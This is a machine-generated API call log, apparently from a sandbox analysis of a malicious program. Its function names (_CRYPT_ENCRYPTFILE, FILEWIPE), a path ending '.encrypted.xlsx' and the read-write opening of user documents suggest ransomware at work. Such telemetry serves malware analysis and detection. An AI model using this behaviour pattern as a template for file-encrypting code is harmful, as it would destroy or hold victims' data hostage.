[0024.086] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.086] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.086] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.086] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.086] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.086] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.086] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.087] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.087] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.087] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.087] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.087] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.087] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.087] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.087] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.087] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.087] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.087] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.087] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.087] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.087] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.087] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.087] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.087] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0024.087] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.087] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.087] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.087] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.087] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.087] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.088] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.089] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.089] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.089] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.089] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.090] CharLowerBuffW (in: lpsz="byte[34922]", cchLength=0xb | out: lpsz="byte[34922]") returned 0xb [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.090] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.090] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.090] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.090] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.090] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.092] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.092] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.092] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.092] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.092] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.092] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.092] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.092] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.092] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.092] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.092] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.092] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.092] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.093] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.093] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.093] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.094] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.094] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.094] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.094] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.094] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.095] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.095] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2784) returned 1 [0024.095] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.095] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.095] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.095] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xae0, lpOverlapped=0x0) returned 1 [0024.095] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.095] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xae0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.095] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2784) returned 1 [0024.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.encrypted.xlsx\r\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0024.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.encrypted.xlsx\r\n", cchWideChar=69, lpMultiByteStr=0xe8f4051090, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.encrypted.xlsx\r\n", lpUsedDefaultChar=0x0) returned 69 [0024.096] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4069890*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069890*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x44, lpOverlapped=0x0) returned 1 [0024.096] CloseHandle (hObject=0x188) returned 1 [0024.098] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.098] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.098] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.098] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.098] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.098] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.099] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.100] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.100] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178820, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.100] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178820, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.100] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.odt", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0024.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.odt", cchWideChar=61, lpMultiByteStr=0xe8f40513b0, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.odt", lpUsedDefaultChar=0x0) returned 61 [0024.102] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.odt" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\6esq8lzbvb5xjb1xlyrd.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=61, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 61 [0024.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=61, lpWideCharStr=0xe8f4067730, cchWideChar=61 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.odt") returned 61 [0024.102] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.103] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.103] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.103] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.103] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178500, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.103] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.104] CloseHandle (hObject=0x188) returned 1 [0024.104] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.104] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.104] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.104] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.104] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.104] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.104] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.104] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.104] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.104] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.104] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.104] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.104] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.104] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 